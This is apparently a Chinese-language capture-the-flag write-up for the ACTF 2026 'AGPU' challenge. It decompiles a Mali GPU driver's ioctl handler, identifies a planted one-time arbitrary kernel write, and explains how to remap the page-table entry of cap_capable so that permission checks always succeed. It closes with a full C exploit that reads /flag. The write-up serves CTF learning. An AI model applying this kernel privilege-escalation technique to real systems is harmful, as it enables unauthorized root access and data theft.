AGPU
函数kbase_ioctl:
long kbase_ioctl(struct file_wrapper *file, unsigned int cmd, unsigned long user_arg)
{
struct kbase_file_ctx *fctx = *(struct kbase_file_ctx **)(file + 0x18);
struct kbase_context *kctx;
long ret;
/*
* 第一段:少数不要求 fctx->state == 4 的前置接口。
* 这几个分支在函数最前面被单独判断,不会走后面的 ready gate。
*/
if (cmd == 0xc0108038) {
// 16 字节 in/out
struct req16 req = {0};
if (copy_from_user(&req, user_arg, 0x10))
return -EFAULT;
ret = kbase_kinstr_prfcnt_enum_info(fctx->kbdev->prfcnt, &req);
if (copy_to_user(user_arg, &req, 0x10))
return -EFAULT;
return ret;
}
if (cmd == 0xc0108039) {
// 16 字节 in/out
struct req16 req = {0};
if (copy_from_user(&req, user_arg, 0x10))
return -EFAULT;
ret = kbase_kinstr_prfcnt_setup(fctx->kbdev->prfcnt, &req);
if (copy_to_user(user_arg, &req, 0x10))
return -EFAULT;
return ret;
}
if (cmd == 0x40048001) {
// SET_FLAGS:4 字节输入
u32 flags = 0;
if (copy_from_user(&flags, user_arg, 4))
return -EFAULT;
/*
* 1. flags 必须落在一个很小的允许集合里:
* (flags & 0xffffff85) == 0
* 也就是只允许极少数位被置位。
*
* 2. 这条分支不是“随便写个 flags”。
* 它会检查当前文件上下文是否已经完成了 VERSION_CHECK
* 留下的前置状态(核心是 state==2 且 slot3 已写入协商结果)。
*
* 3. 真正的 create_context 发生在这里:
* 只有状态正好是 2,且 CAS(2 -> 3) 成功,才会继续建 kctx。
*
* 4. create_context 成功后:
* - 保存返回的 kctx 到 fctx->kctx
* - 把 fctx->state 设成 4
*
* 5. 如果本来 state == 4,则这条 ioctl 可以直接成功返回。
*/
return set_flags_state_machine(fctx, flags);
}
if (cmd == 0x40108003) {
// get_gpuprops,一共 16 字节
struct {
u64 user_ptr;
u32 size_or_index;
u32 flags;
} req = {0};
if (copy_from_user(&req, user_arg, 0x10))
return -EFAULT;
/*
* 这里会拒绝 flags != 0。
* 然后从 kbdev 里取一段 gpu properties 数据,copy 到 req.user_ptr 指向的用户缓冲区。
*/
return handle_get_gpuprops_exact(fctx, &req);
}
if (cmd == 0xc0048000) {
// 4 字节 in/out,逻辑本身很弱,最后不是成功码
u32 tmp = 0;
if (copy_from_user(&tmp, user_arg, 4))
return -EFAULT;
if (copy_to_user(user_arg, &tmp, 4))
return -EFAULT;
return -1;
}
if (cmd == 0xc0048034) {
// VERSION_CHECK:4 字节 in/out
struct {
u16 major;
u16 minor;
} ver = {0};
unsigned long negotiated_token;
if (copy_from_user(&ver, user_arg, 4))
return -EFAULT;
/*
* 这条分支比“问版本”复杂得多:
*
* - 若 major != 1:
* 直接把返回值改写成 1.0x26
* negotiated_token = 0x00102600
*
* - 若 major == 1:
* minor 会被裁到 <= 0x26
* 返回值写回 (major=1, minor=min(user_minor, 0x26))
* negotiated_token = 0x00100000 | (minor << 8)
*
* 然后进入状态机:
*
* 1. 尝试把 fctx->state 从 0 原子改成 1
* 2. 成功后把 negotiated_token 写到 fctx->slot3
* 3. 把 fctx->state 设成 2
*
*
* 所以它不是“纯查询接口”,但它也不是最终把上下文建成 ready 的那一步。
*/
return version_check_state_machine(fctx, &ver, user_arg);
}
/*
* 第二段:这里开始,大多数普通接口都要求上下文 ready。
*/
if (fctx == NULL)
panic();
if (fctx->state != 4)
return -1;
kctx = fctx->kctx;
if (kctx == NULL)
panic();
/*
* 第三段:ready 之后的普通 dispatcher。
* 这里每个 case 的共同模式是:
* copy_from_user -> 可选保留字段检查 -> helper -> 可选 copy_to_user
*/
switch (cmd) {
case 0x8004800c:
return disjoint_event_get_u32(user_arg, kctx);
case 0x80048011:
return read_u32_field_from_kctx(user_arg, kctx, 0x9060);
case 0x8008802d:
return kbase_csf_kcpu_queue_new_case(user_arg, kctx);
case 0xc0018036:
return priority_check_case(user_arg, kctx);
case 0xc008803c:
return read_user_page_case(user_arg, kctx);
case 0xc0108006:
return mem_query_case(user_arg, kctx);
case 0xc010801f:
return find_gpu_mapping_case(user_arg, kctx);
case 0xc0108027:
return queue_bind_case(user_arg, kctx);
case 0xc0108030:
return cs_tiler_heap_init_1_13_case(user_arg, kctx);
case 0xc010803e:
return cs_tiler_heap_size_case(user_arg, kctx);
case 0xc0188010:
return find_cpu_mapping_case(user_arg, kctx);
case 0xc0188016:
return mem_import_case(user_arg, kctx);
case 0xc0188030:
return cs_tiler_heap_init_case(user_arg, kctx);
case 0xc0188033:
return cs_get_glb_iface_case(user_arg, kctx);
case 0xc0208005:
return mem_alloc_case(user_arg, kctx);
case 0xc0208015:
return mem_alias_case(user_arg, kctx);
case 0xc020802a:
return cs_group_create_1_6_case(user_arg, kctx);
case 0xc0208032:
return get_cpu_gpu_timeinfo_case(user_arg, kctx);
case 0xc028803a:
return cs_group_create_1_18_case(user_arg, kctx);
case 0xc040803b:
return mem_alloc_ex_case(user_arg, kctx);
case 0xc070803a:
return cs_group_create_1_35_case(user_arg, kctx);
case 0xc078803f:
return cs_group_create_case(user_arg, kctx);
case 0x8013:
kbase_timeline_streams_flush(...);
return 0;
case 0x802c:
kbase_csf_event_signal(kctx, 1);
return 0;
case 0x40018037:
return set_limited_core_count_case(user_arg, kctx);
case 0x40048012:
return timeline_io_acquire_case(user_arg, kctx);
case 0x40048019:
return weird_copy_4_then_minus2_case(user_arg);
case 0x40088007:
return mem_free_case(user_arg, kctx);
case 0x40088025:
return queue_kick_case(user_arg, kctx);
case 0x40088026:
return init_exec_zone_case(user_arg, kctx);
case 0x40088029:
return queue_terminate_case(user_arg, kctx);
case 0x4008802b:
return queue_group_terminate_case(user_arg, kctx);
case 0x4008802e:
return kcpu_queue_delete_case(user_arg, kctx);
case 0x40088031:
return tiler_heap_term_case(user_arg, kctx);
case 0x4010800d:
return get_ddk_version_case(user_arg, kctx);
case 0x40108014:
return mem_commit_case(user_arg, kctx);
case 0x4010801b:
return mem_profile_add_case(user_arg, kctx);
case 0x4010801d:
return sticky_map_case(user_arg, kctx);
case 0x4010801e:
return sticky_unmap_case(user_arg, kctx);
case 0x40108024:
return queue_register_case(user_arg, kctx);
case 0x4010802f:
return kcpu_enqueue_case(user_arg, kctx);
case 0x40108035:
return cpu_queue_dump_case(user_arg, kctx);
case 0x4010803d:
return clear_faults_case(user_arg, kctx);
case 0x40108200:
return ctf_write4_case(user_arg, kctx);
case 0x4018800e:
return jit_init_case(user_arg, kctx);
case 0x40188017:
return mem_flags_change_case(user_arg, kctx);
case 0x4020800f:
return sync_now_case(user_arg, kctx);
case 0x40208018:
return weird_copy_0x20_then_minus2_case(user_arg);
case 0x40288028:
return queue_register_ex_case(user_arg, kctx);
default:
dev_warn(..., "Unknown ioctl 0x%x nr:%d", cmd, cmd & 0xff);
return -ENOIOCTLCMD;
}
}
函数kbasep_ioctl_ctf_write4:
struct ctf_write4_req {
u64 addr;
u32 value;
u32 zero;
};
static u32 kbase_ctf_write4_available = 1;
long kbasep_ioctl_ctf_write4(struct ctf_write4_req *req)
{
u64 addr;
u32 value;
addr = req->addr;
if (addr == 0)
return -EINVAL;
/*
* 这里是一个一次性 gate:
* 只有当全局变量仍然是 1 时,才能把它原子改成 0。
* 改成功的人拿到唯一一次 write4 机会。
*/
if (!atomic_try_cmpxchg(&kbase_ctf_write4_available, 1, 0))
return -1;
value = req->value;
*(u32 *)addr = value;
return 0;
}
从kbasep_ioctl_ctf_write4我们可以看到这里给了只有一次的任意地址四字节写,这里我们需要用到的核心漏洞点就是这里了。
但是要进入这里我们需要保证fctx->state = 4,所以我们要先调用VERSION_CHECK分支把state推到2,然后调用SET_FLAGS分支把state推到4。
接下来我们看怎么利用这个任意地址四字节写入:
/flag 为什么本来读不到:
在 Linux 里,文件有权限。
所以正常情况下:
open("/flag", O_RDONLY)
会失败。
那内核是怎么判断“能不能读”的?
实际过程是:
- 调用
open("/flag") - 进入内核
- 内核检查这个文件权限
- 内核再检查“当前进程有没有足够权限”
- 如果检查通过,才返回一个文件描述符
- 然后才能
read()
这里的“权限检查”里,会走到一个内核函数,名字叫:cap_capable
既然我们有能任意地址四字节修改的能力,改页表是一个不错的选择。
假设本来有这样一页代码:
- 页 X 里放着真正的
cap_capable
当内核跳到 cap_capable 时,CPU 会:
- 通过页表找到“cap_capable 这页”实际映射到哪里
- 然后从那里取指令执行
如果我们把页表改了,变成:
- “cap_capable 这页”不再映射到原来的物理页
- 而是映射到另一页
那 CPU 还是以为自己在执行 cap_capable,但实际上取到的已经是:
- 另一页的机器码
我们先找 cap_capable的虚拟地址:
我们先用vmlinux-to-elf工具把内核镜像Image的符号表恢复
然后:
$ readelf -Ws Image.elf | rg ' cap_capable$'
8717: 00000000006f68b4 0 FUNC GLOBAL DEFAULT UND cap_capable
这里恢复后的内核镜像的基址是:bias = 0x510000
所以cap_capable在原本镜像的偏移是0x1e68b4
页大小是 0x1000。
所以:
page_base = 0x1e68b4 & ~0xfff = 0x1e6000
page_offset = 0x1e68b4 & 0xfff = 0x8b4
page_index = 0x1e6000 >> 12 = 0x1e6
我们接下来需要找替代页,这个替代页的要求是:
- 里面 +0x8b4 那个位置后续正好是“返回 0”的代码且不会崩溃
这一步我们就用脚本扫Image文件
最后选出的比较好的是:
0x1e98b4 lsr w8, w8, #8
0x1e98b8 subs x2, x2, #1
0x1e98bc b.ne ...
0x1e98c0 mov x0, #0
...
0x1e98e8 ret
它的好处是:
- 没有 bl/blr
- 没有显式崩溃指令
- 很快就走到 x0 = 0
- 后面 clean return
当然最好的检测方法是它不会因为页表替换导致各种地方崩溃,这里实测过这个可行。
于是替代页基址就是:
alt_page_base = 0x1e98b4 & ~0xfff = 0x1e9000
题目环境里,内核镜像物理装载基址(这个可以通过gdb动调看Image的开头字节来确定)是:
image_phys_base = 0x40200000
所以:
原页物理地址
target_phys_page = 0x40200000 + 0x1e6000
= 0x403e6000
替代页物理地址
alt_phys_page = 0x40200000 + 0x1e9000
= 0x403e9000
找目标 PTE 槽:
因为目标页编号是:
page_index = 0x1e6
映射kernel image的 cap_capable在的那张页表的物理地址是:
pte_page_phys = 0x4070c000
每个PTE 8字节,所以槽地址:
pte_slot_phys = 0x4070c000 + 0x1e6 * 8
= 0x4070cf30
把 PTE 槽物理地址换成可写的内核虚拟地址:
因为 write4 写的是内核虚拟地址,不是物理地址。
在gdb调试中可以确定arm64 direct map线性映射公式(原公式:virt = linear_base + (phys - phys_base)):
virt = 0xffff000000000000 + (phys - 0x40000000)
代入:
0xffff000000000000 + (0x4070cf30 - 0x40000000)
= 0xffff00000070cf30
于是得到最终目标地址:
PTE_SLOT_CAP_CAPABLE = 0xffff00000070cf30
构造要写入的新 PTE 值:
PTE 低位还有属性位,可以通过gdb动调得到:
(gdb) x/gx 0xffff00000070cf30
0xffff00000070cf30: 0x00d00000403e6f83
所以:
flags = 0x0f83
所以新 PTE 低 32 位就是:
PTE_LOW_REMAP_ZERO = 0x403e9000 | 0x0f83
= 0x403e9f83
两个常量需要用的常量就出来了:
.addr = 0xffff00000070cf30
.value = 0x403e9f83
然后利用链就是:
open("/dev/mali0")VERSION_CHECKSET_FLAGSCTF_WRITE4(addr, value)open("/flag")read("/flag")
原来它要执行:
cap_capable = 页 A + 偏移 0x8b4
现在我们把页表改成:
- “页 A” 映射到“物理页 B”
那 CPU 之后再跳到:
页 A + 0x8b4
实际取到的就变成:
页 B + 0x8b4
而 WP 刚好发现:
页 B + 0x8b4那里是一段“直接返回 0”的代码
所以效果就是:
- 原本调用
cap_capable - 实际执行了另一页上同 offset 的“永远成功”代码
所以 /flag 的 open() 就通过了。
EXP:
#include "zenpwnc/common.h"
#define KBASE_IOCTL_VERSION_CHECK 0xc0048034UL
#define KBASE_IOCTL_SET_FLAGS 0x40048001UL
#define KBASE_IOCTL_CTF_WRITE4 0x40108200UL
#define PTE_SLOT_CAP_CAPABLE 0xffff00000070cf30ULL
#define PTE_LOW_REMAP_ZERO 0x403e9f83U
struct version_check
{
uint16_t major;
uint16_t minor;
};
struct write4
{
uint64_t addr;
uint32_t data;
uint32_t zero;
};
int main (void)
{
int mali_fd;
struct version_check ver = {1, 0};
uint32_t flags = 0;
struct write4 req = {
.addr = PTE_SLOT_CAP_CAPABLE,
.data = PTE_LOW_REMAP_ZERO,
.zero = 0,
};
ssize_t nread;
mali_fd = zpc_must_fd(open("/dev/mali0", O_RDWR));
zpc_must(ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK, &ver));
zpc_must(ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &flags));
zpc_must(ioctl(mali_fd, KBASE_IOCTL_CTF_WRITE4, &req));
char buf[0x100];
int flag_fd;
flag_fd = zpc_must_fd(open("/flag", O_RDONLY));
nread = zpc_must(read(flag_fd, buf, sizeof(buf) - 1));
buf[nread] = '\0';
printf("[*] flag: %s\n", buf);
return 0;
}
题目链接:CTF-Writeups/ACTF 2026/AGPU at main · Zenquiem/CTF-Writeups